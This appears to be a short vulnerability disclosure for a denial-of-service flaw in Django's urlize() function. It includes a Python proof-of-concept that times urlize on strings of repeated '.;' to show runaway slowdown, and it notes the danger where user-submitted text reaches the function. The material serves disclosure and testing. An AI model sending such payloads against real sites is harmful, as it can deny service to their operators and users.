CVE-2024-41990: Potential denial-of-service in django.utils.html.urlize()

I reported a slow pattern in urlize using repeated `.;` characters, which would become exponentially slower the larger the string. If a user string from a POST request was read by the function, or stored into the database to be read later by urlize, that's where the biggest problems happened.

import django.utils.html
from time import time

print('=== django.utils.html.urlize(".;" * n) ===')
for i in range(0,1000000, 40000):
    start = time()
    PAYLOAD = ".;" * i
    django.utils.html.urlize(PAYLOAD)
    print(len(PAYLOAD), "\t", time() - start)